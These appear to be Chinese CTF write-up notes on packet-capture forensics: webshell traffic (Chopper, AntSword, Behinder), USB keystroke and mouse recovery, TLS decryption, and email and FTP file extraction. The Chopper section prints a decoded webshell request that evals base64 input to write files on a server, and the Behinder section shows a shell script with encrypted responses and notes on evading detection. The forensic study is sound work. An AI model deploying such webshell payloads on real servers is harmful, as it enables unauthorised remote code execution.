图中的 POST 请求包采用ROT3 的方式对传输内容加密,并且用boundary 分隔多个字段。boundary 的使用是蚁剑流量的特征之一,不难发现,返回包的内容也是经过ROT13 加密的。在第 60 个数据包发现了从服务器下载的 zip 压缩包,将其提取并解压后,就能看到 flag

image-20240113134409801

06菜刀

跟例题packer3.pcapng一样,但我要做个补充

打开数据包,发现抓包文件很小,随便找个TCP数据包,右击选择“跟踪TCP码流”,根据会话内容很像是菜刀的数据包。选择“Statistcs”—>“Conversations”,选择TCP档,发现存在8个TCP会话

image-20240113140124044

一个个分析,发现其中前5个会话是通过菜刀查看目录的一个操作,返回部分返回了一个目录中的内容(可通过对选中部分先进行URL解码,再进行Base64解码,即可看到菜刀执行的代码,进而分析其逻辑)。而第6个会话是一个下载文件的会话,第7个会话是一个上传文件的会话。

分析第6个会话,可以看到会话的逻辑是下载一个hello.rar的文件,随后web进行了响应,将hello.rar的内容返回给了客户端。这里因为服务器在响应时使用了Transfer-Encoding选项,所以这里不能直接使用“Save as”保存数据包中的内容再用winhex提取出来(可以是可以,但是这种方式保存下来的数据需要自己写个脚本进行处理然后才能用winhex提取文件,太麻烦)

那如何导出文件?选择“File”->“Export Objects”->“Http”,找到我们刚才下载文件会话的HTTP返回的那个Object,通过save as将其保存为文件。(通过这种方式提取出来的http数据,wiresahrk会自动帮我们解决采用Transfer-encoding传输的问题,而不需要我们自己去解决)

通过winhex打开刚刚保存的文件,将“->|”和“|<-”之间的数据保存为一个Rar文件。解压后发现是一张图片,里面有半个key。(“->|”和“|<-”为在传输数据时,菜刀加入的内容)

因为只有半个key,所以还需要分析上传逻辑。首先将菜刀的代码部分进行urldecode、base64解码还原出来,如图所示。很明显是一个上传文件的逻辑,这个无法用winhex提取文件,只能将菜刀的上传代码稍作修改,并在php环境下运行,即可以得到上传文件。

15菜刀密文抓取

image-20240114122513895

导出30

image-20240114122538558

发现有flag.tar.gz

那我直接就导出对象,另存为flag.tar.gz

key{8769fe393f2b998fa6a11afe2bfcd65e}

34Webshell

类型:Forensic 黑客通过webshell往Web服务器写入了一串机密信息,你能找出机密信息吗?

协议分析是http

image-20240114125828157

发现是菜刀流量

1
x=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvIEBmd3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=L3Zhci93d3cvaHRtbC9zZWNyZXQvczNjcjN0LnR4dA%3D%3D&z2=ZmxhZ3tJbmYwcm00dGkwbjUzY3VyaXR5fQ%3D%3D

解码后

1
2
3
x=@eval(base64_decode($_POST[action]));&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";;echo("|<-");die();
&z1=/var/www/html/secret/s3cr3t.txt
&z2=flag{Inf0rm4ti0n53curity}

考点 3:冰蝎流量分析

无论是菜刀还是蚁剑,在流量加密保护方面均存在较大的缺陷。为了更好地对流量加密、逃避防火墙拦截,冰蝎应运而生。冰蝎也是一个 Webshell 管理工具,它可以在HTTP明文协议中建立加密隧道,以躲避安全设备的检测。我们以2.0.1 版本为例,分析冰蝎的协议特征。它使用对称加密算法,加密过程总共分为三步:

1)密钥传递阶段。

客户端向服务器请求密钥,密钥是明文传递的。客户端向服务器发起GET请求以协商密钥,GET 请求的URI中只带一个参数,如图所示,URI中的pass 参数是冰蝎连接时的密码,等号后的数字是随机生成的。密钥位于服务器返回包的实体部分,一般是 16 字节的小写字母或数字。密协商阶段会发起多个 GET 请求,可以根据HTTP 头部字段的 cookie 值判断使用哪个密钥。

image-20240113140809470

2)算法协商阶段。

冰蝎将一串 Payload 用不同的算法加密,然后发送给服务器。如果服务器成功解密,那么接下来的通信就使用这种算法。如果算法不对,则解密失败,那么响应为空,冰蝎会更换另一种加密算法进行尝试,直到成功为止。加密算法一般为 AES128 CBC模式和异或加密,两种加密采用相同的密钥。如果使用AES 加密,则IV为全0。图1.2.39 展示了算法协商过程,当服务器采用某种加密算法不能解密客户端的数据时,服务器会把 Content-type 字段置为 0,当客户端收到这样的返回值后,会采用另一种加密算法再发送一次 Payload。

image-20240113140936064

3)加密通信阶段。

客户端使用上述密钥和算法加密 Payload 后,通过 POST 请求将脚本发送给服务端,服务端解密后执行,并将结果以相同密钥和加密算法返回给客户端。

例题bingxie.pcapng

]打开文件后进行协议分级,重点关注 HTTP。

image-20240113141047934

我们发现有两个是GET 请求,其余都是 POST请求,结合 URI的特征,判断可能是冰蝎流量。

image-20240113141121424

根据第 22 个数据包的cookie值,可以发现采用第2次 GET 协商的密钥,由于加密算法未知,因此可以把 AES加密和异或加密都尝试一遍。

image-20240113141607443

利用脚本 BX2_aes_decrypt.py和BX2_xor_decrypt.py分别对其解密,发现采用的是异或加密。利用异或解密脚本 BX2_xor_decrypt.py分别对POST请求包解密,也就是题目中第27、143、171、183 个数据包(需要根据不同数据包的内容修改脚本中text对应的值)。对第 183 个数据包解密后,将其中的 Base64 数据解码,可看到图的内容。结合代码逻辑,可知是向服务器上传了 flag.zip 文件,文件内容经 Base64 编码后存储在 $content 的变量中。将 $content 解码,得到 zip 压缩包,解压后就得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//shell22.php
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="517195c7-8810-44e4-b46d-5631f04af782";
main($content);

image-20240114113046673

image-20240114113256556

USB

USB(Universal Serial Bus)的全称是通用串口总线,USB流量指的是USB设备接口的流量,攻击者能够通过监听 USB 接口流量获取键盘敲击键、鼠标移动与点击、存储设备的明文传输通信、USB无线网卡网络传输内容等信息。在CTF比赛中,USB流量分析主要以键盘和鼠标流量为主。

image-20240111112742741

上图显示的是从本地机器捕获的USB 接口流量,需要注意的是,USBPcap pseudoheader(伪头)不属于发送内容部分,而是USBPcap 控制程序的部分pseudoheader后面的部分才是真正要发送或接收到的内容。在这个例子中URB 就是 pseudoheader,占27 字节真正发送的内容是 Leftover CaptureData中的8字节。

键盘和鼠标传输的内容就在Leftover Capture Data 中。键盘数据包的数据长度为8字节,击键信息集中在第 3 个字节,这个字节并不是字符的ASCII码,具体映射关系需要查看 USB HID USAGE TABLE 第 53 页的内容。

鼠标移动时表现出连续性,但实际上鼠标动作所产生的数据包是离散的,每一个数据包的数据区有 4个字节,第1个字节代表按键,值为 0x00时,表示没有按键;值为0x01时,表示按左键;值为0x02 时,表示当前按键为右键。第2个字节可以看成一个 signedbyte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少个像素;这个值为负时,代表鼠标水平左移多少个像素。第3 个字节与第 2个字节类似,代表鼠标垂直移动的像素数。得到这些信息后,即可恢复出鼠标移动轨迹。

针对键盘和鼠标的USB流量分析,可以使用开源工具 https://github.com/WangYihang/UsbKeyboardDataHacker 和 https://github.com/WangYihang/UsbMiceDataHacker 完成。这两个工具可以从流量包中读出击键内容并恢复出鼠标轨迹。

https://ctf-wiki.org/misc/traffic/protocols/usb/

例题key.pcap

image-20240111113457000

很明显的键盘USB流量

image-20240111113408077

例题mice.pcap

image-20240111114014519

很明显的鼠标USB流量

1
python usb-mouse-pcap-visualizer.py -i mice.pcap

image-20240111113953009

11USB

打开数据包文件后从协议可以发现这应该是一个USB的数据包

image-20240111135913551

找到此USB设备的回复数据包,在详情中可以这个USB设备应该是一个罗技光电鼠标

image-20240111140228923

自己观察每个数据后可以发现,这个数据包应该是代表着鼠标的移动,因为它的值在不断的变化,第二个字节代表X轴的移动,而第三个字节则代表在Y轴的+255和-256之间的运动

我们假设这些值确实是鼠标的移动产生的,接下来我们用tshark导出这些数据

image-20240111145612251

然后我们需要将第二个和第三个字节转换为坐标,可以使用以下命令,具体命令的意思可以查看awk的一些知识(注意,使用strtomun函数时需要安装gawk,在kali里面直接运行apt-get install gawk即可安装):

1
awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' data2.txt > data3.txt

image-20240111145638521

然后我们使用gnuplot将这些数据绘制成图片即可

image-20240111145703157

注意此时的图片可能是颠倒过来的,放到photoshop中将其垂直翻转即可

image-20240111145716957

CTF{tHe_CAT_is_the_CULpRiT}

37usbcatch

有个小偷从我的电脑里copy一个秘密文本,找到他

image-20240111162749008

可以看到flag.txt的内容

did_you_know_ctf

TLS

SSL/TLS是一种密码通信框架,也是目前使用最广泛的密码通信方法。SSL/TLS 综合运用了密码学中的对称密码、消息认证码、公钥密码、数字签名、伪随机数生成器等算法SSL (Secure Socket Layer,安全套接层)是 1994 年由 Netscape公司设计的一套协议,并于1995年发布了3.0版本。TLS (Transport Layer Security,安全传输层)是IETF 在 SSL 3.0基础上设计的协议,相当于SSL的后续版本。

TLS 协议位于传输层和应用层之间,其功能是一个加密通道,和上层应用协议无关由于HTTP采用明文传输,很容易被攻击者窃听或者篡改内容,通过引入TLS对HTTP的内容进行加密等操作,可以有效防止窃听篡改和劫持等,如下图所示

image-20240111165822622

在CTF比赛中,关于TLS 的考点并不是很多。当没有私钥时,因为无法对加密流量进行解密,所以TLS协议一般不是我们关注的重点。但是,有一类题目会提供TLS的私钥,这就需要我们在Wireshark中导入私钥,从而解密相关流量。

例题TheGreatEscape.pcapng

flag格式为INS{}

首先看到协议分级里面有ftp

image-20240111170010309

经过分析,发现向ftp服务器上传了ssc.key文件,然后将文件导出,打开发现是私钥文件。

image-20240111170323116

题目的意思应该是让我们导入私钥文件,利用会话统计功能,发现有大量443端口的连接,猜测可能是TLS协议。

单击“编辑”工具栏,选择最下方的“首选项”,打开后在窗口左侧选择“Protocols”,再选择TLS

image-20240111171724685

单击“RSA keys list”旁边的Edit按钮,单击左下角的“+”按钮,新增一项,各字段按下图填写。

image-20240111171858750

其中,IP地址可以空缺,Wireshark会自动选择相应的TLS流解密;Port填写443;因为要解密HTTPS,故 Protocol填写解密后的应用层协议HTTP;Key File是提取出的私钥的保存路径;如果知道证书的加密密钥,就填写到Password字段,一般情况下可以不填。单击右下角的“OK”按钮,Wireshark 会使用该私钥对相关流量自动解密。输入过滤规则“http contains”INS””,单击过滤出的第一个数据包,展开HTTP解析结果,可以看到flag:INS{OkThatWasWay2Easy}。当没有导入私钥时,输入上述过滤规则,则没有任何数据包满足过滤条件,说明导入的私钥被 Wireshark 正常用于解密

image-20240111172023508

除了使用私钥,在SSL/TLS 中,Pre Master Secret (预主密)的作用至关重要,无论是RSA加密算法还是DH密钥交换算法,最终都是为了交换或者协商出 Pre Master Secret.通过Pre Master Secret,结合其他参数,可计算出Master Secret 作为整个会话的密钥。因此,如果比赛题目提供了 Pre-Master-Secret log 或者 Master-Secret log,在 Wireshark 中直接导人,在(Pre)-Master-Secret log file name处选择合适的文件,就可以完成解密。这里我们不讨论解密算法的细节。

例题transcript.zip

在(Pre)-Master-Secret log处导人题目提供的 keylogfile.txt 文件,单击OK 按钮后,Wireshark并没有直接解密。选中一个TLS协议的数据包,选择追踪TLS流可以看到结果

image-20240111172449514

13SSL Sniff

我们收到了MITMd的HTTPS请求的网络捕获文件。尝试找到罪魁祸首。

我们得到一个包含SSL加密对话的tcpdump捕获。

幸运的是,密钥隐藏在证书的stateOrProvinceName字段中

image-20240114165444206

flag{Key-Is-dUs1mKl4}

24greatescape

分析该数据包,你会有三部分事情要做,先找出ssc.key,再找到https加密传输的flag INS{xxx}

跟例题一样

在电子邮件中发现的两个地址指向52.214.142.175:443.所以这可能是我们正在寻找的正确的IP地址。要确认,请查看在PCAP文件中是否有来自52.214.142.175的任何流量。你会看到加密的流量。让我们使用从SMTP协议(IP:52.214.142.175,PORT:443)和FTP(私钥)收集的所有信息来解密SSL流量。Wireshark允许解密TLS流量。插入ssc.key在编辑- >首选项- > SSL

使用过滤器“ ip.addr == 52.214.142.175 and http”。你可以看到解密的流量

35ssl-sniffer2

我们收到了一个HTTPS请求的数据包。我们知道实际的请求有有用的信息,私钥server.key.insecure。

跟例题一样,导入

image-20240111175047657

image-20240111175005041

39u7v25n1jxkl123

Smpt

Wireshark对SMTP抓包分析

Wireshark协议分析之SMTP

01Smtp

找到数据包中的敏感字符,拿到其密文

image-20231221224526967

RkxBRzpJU0NDVEVTVHBhcw==

FLAG:ISCCTESTpas

42smtp_cotent

敌军有可能正在进行一项秘密交易,找到他们交易的证据

因为是明文传输

image-20240109114842935

image-20240109114827119

flag{this_is_secret_eemials}

43smtp_attachment

我们捕获到一些可疑的数据包,可能存在邮件的附件中,找到他

image-20240109115328904

image-20240109115410373

1
key{goods_is_secret}

44http_smtp

张三下了加密的压缩包,却没有解压密码,李四通过邮箱给发了消息,帮他解决这个问题

首先导出http对象

image-20240109115745287

image-20240109115710683

解压密码为:ctf@zip.key

key{402e432465e2e87ce5d8ef733d40d593}

45ftp-smtp

小黑通过ftp下载加密压缩包,李四邮件发给他密码,截获他们的网络流量,找到flag

一样的道理

file@zip.key

key{c1ceee8f742b991baf90b393070cbeaf}

其他

10510-数据包分析-密码获取

选择第一条数据包follow tcp stream

image-20240114164117695

乍一看好像是答案

但是

image-20240114164156402

7F对应的ASCII是嘛呢,原来是DEL,0D表示的是回车

backdoorm8te

10514-数据包分析-transfer

我嗅了一段时间的网络流量,我想我终于有了一些有趣的事情。帮助我通过所有这些数据包找到标志。

搜索flag,追踪

image-20240114170114514

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
_rot13 = string.maketrans(
"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)

def b64e(s):
return b64encode(s)

def caesar(plaintext, shift=3):
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)

def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c = random.choice(enc_ciphers)
i = enc_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)

return tmp

if __name__ == '__main__':
print encode(FLAG, cnt=?)2Mk16Sk5i...........

解码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import string, sys
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
_rot13 = string.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)

def b64e(s):
return b64encode(s)

def b64d(s):
try:
return b64decode(s)
except:
return ""

def caesar(plaintext, shift=3):
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)

def caesard(plaintext, shift=3):
shift = shift * -1
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)

def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c = random.choice(enc_ciphers)
i = enc_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)
return tmp

def decode(pt, cnt=50):
tmp = pt
for cnt in xrange(cnt):
c = random.choice(dec_ciphers)
i = dec_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)
return tmp

if __name__ == '__main__':

ENCODED = "2Mk16Sk5iakY..."

while True:
c = 0
try:
c = int(ENCODED[0]) - 1
except:
print ENCODED
sys.exit(0)
ENCODED = ENCODED[1:]
ENCODED = globals()[dec_ciphers[c]](ENCODED)
if (ENCODED.startswith('flag')):
print ENCODED
sys.exit(0)

image-20240114170602594

10516-数据包分析-BigData

东西,东西,数据,东西,东西,大数据

image-20240114172222852

flag{bigdataisaproblemnotasolution}

10518-数据包分析-Intercepted Post

我们拦截了你父亲的一些网络活动。你能从他的交通中得到一个密码吗?

image-20240114170754383

flag{pl$_$$l_y0ur_l0g1n_form$}

10521-数据包分析-No_Big_Deal

有时答案很明显,有时会被掩盖。找到答案

1
strings no-big-deal.pcap| egrep ".{10,}" | head

image-20240114171109337

CTF{betterfs.than.yours}

10522-数据包分析-easycap

这是一道送分题,你能从包捕获中得到这个flag吗?flag{xxx}

追踪第一个包

image-20240114171247072

FLAG:385b87afc8671dee07550290d16a8071

10525-数据包分析-first-contact

机器人正在与坠毁的船舶通信。您的目标是通过检查网络流量来查找船舶的位置。格式flag{xxx}

image-20240114171411945

37 14'06"N 115 48'40"W

26voip

VoIP提取语音。标志格式是flag:{[A-Z0-9]}

image-20240111163521470

image-20240111163551085

点击“电话”->Voip通话

image-20240111163630732

image-20240111163713612

这个电话,尽管是一个机器人的声音,很难解释,flag is SECCON{9001IVR}

10527-数据包分析-in-recorded-conversation

追踪一下数据包,你能找到flag吗?

image-20240114171914840

10528-数据包分析-private

你是安静的,你能够听到的越多

查看传输中使用的协议,我们看到一堆STP,ICMP,DNS和其他一些请求。单个的TCP请求,并不能告诉我们我们的标志在哪里

然而,经过一些摆弄数据之后,我们注意到ICMP数据包的所有IP层的标识符都在ASCII值范围(32-126)之内。最值得注意的是,当只查看从IP 192.168.50.10到ICMP的请求时,ID开始拼写“这里是你的标志” 192.168.0.50。要查看标志,您可以在wireshark中应用过滤器,icmp and ip.src==192.168.50.10并向下滚动请求以注意标识符字节中的标志

或者,你可以使用tshark和grep中提到的过滤器的偏移范围,包含标识符

1
tshark -r PrivateChannel.pcap.pcapng -x 'icmp and ip.src==192.168.50.10'|grep 0010

image-20240114172715027

flag{S3cr3t4g3nt}

10529-数据包分析-iSpy

我们截获了一些可疑的网络活动。我们认为敌人一直在交换重要的数据。你能帮我们弄清楚它是什么吗? flag{xxx}

image-20240114172952017

image-20240114173056435

image-20240114173602551

flag{pcap_fun!??}

10530-数据包分析-WatchMeSurfTheInternet

从目录中的pcap文件获取flag flag{xxx}

在与 wireshark 或交谈时 tshark,我们注意到没有什么突出的。

但是,作者在某些 TCP 请求的源端口中隐藏了该标志。

有几个tcp请求来自诸如10102或者之类的端口10114- 都略微超过了10000。

如果 10000 从这些端口中减去一个,你将得到一个十进制的 ASCII 字符串:
102for f,114for r。

1
tshark -r spying.pcapng -Y 'ip.dst == 192.168.64.22' -T fields -e tcp.srcport | python -c 'import sys; print "".join(chr(int(port) - 10000) for port in sys.stdin.readlines())'

image-20240114222837398

IJustMadeYouWatchMeSurfTheInternet

10531-数据包分析-john-in-the-middle

约翰能劫持你的surfin吗?:)

image-20240114223519105

image-20240114223513446

flag{J0hn_th3_Sn1ff3r}

10532-数据包分析-lolteam

有一个叫做lolteam的可疑团队,我把目光投向了他们一段时间,并且在他们改变密码的时候,我设法窃听他们的浏览器。他们将密码更改为什么?

image-20240114223724404

flag{no,_lolteam_is_not_an_admin_account}

10533-数据包分析-Crack_this

这是一道送分的流量分析,你能找到flag吗?

只有一个包

image-20240114223855955

flag{rukgzuzfiuypreymqcja}

10536-数据包分析-weirdshark

找到一个修复的数据包,你能分析出flag吗?flag{xxx}

multiple.pdf

导出对象

image-20240114224156116

flag{FORENSICS_WITH_HAXORS}

10539-数据包请求-SecretFile

我们捕获了一个黑客的网络活动,你能知道他在干什么吗?

image-20240114224550735

key{I’m_Blue_Are_you_ok}

10547-数据包分析-SString

阿黑收到一串奇怪的数字,他在网上找了加密算法,但他不会于是发邮件请教好友,你能帮他呢解出来吗?

分析题意可知小黑是浏览了解密算法但他不会,于是过滤出 http 请求

导出 http 对象

image-20240114225522403

但是我们没有密文,继续找到小黑的邮件(过滤出 smtp)

image-20240114225457244

image-20240114230132084

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$str="=pJovuTs3RQAyumZ0tmMvSGM2ZwB4tws";

$str_drot13=str_rot13($str);
//echo $str_drot13;
$str_base64=strrev($str_drot13);
//echo $str_base64;
$string=base64_decode($str_base64);
//echo $string;
$str_ori="";
for($i=0;$i<strlen($string);$i++) {
$char=substr($string, $i,1);
$ordChar=ord($char) - 1;
$char=chr($ordChar);
$str_ori.= $char;
}
$str_ori=strrev($str_ori);
echo $str_ori;

?>

flag{603d7237fa0d52977}

10549-数据包分析-nfs

小白在局域网分享了一个文件,小黑花了不到几秒钟就找到了

根据题意,过滤出 nfs 文件共享数据包

image-20240115151119033

简单分析出小黑的 ip 是 10.0.0.118 于是我们过滤出 从小白的 ip 向小黑的 电脑传输的数据

(nfs && ip.src==10.0.0.117)

逐帧分析,在倒数第二帧发现了可疑的数据,base64 加密内容

image-20240115151304972

flag{WAaGhBJk}

取证分析-analysis

证据在权限里。flag为{}内的内容,字符串,无前缀。

题目名称为Webshell,我们知道webshell通常以post形式上传

1
http.request.method == "POST"

image-20240115102802792

猜测为webshell

分析一下,前面只是登录尝试

image-20240115104620792

后面是列目录

image-20240115104716497

image-20240115104907602

image-20240115104858461

flag{ftop_Is_Waiting_4_y}

取证分析-babypcap

image-20240115105033244

flag{d316759c281bf925d600be698a4973d5}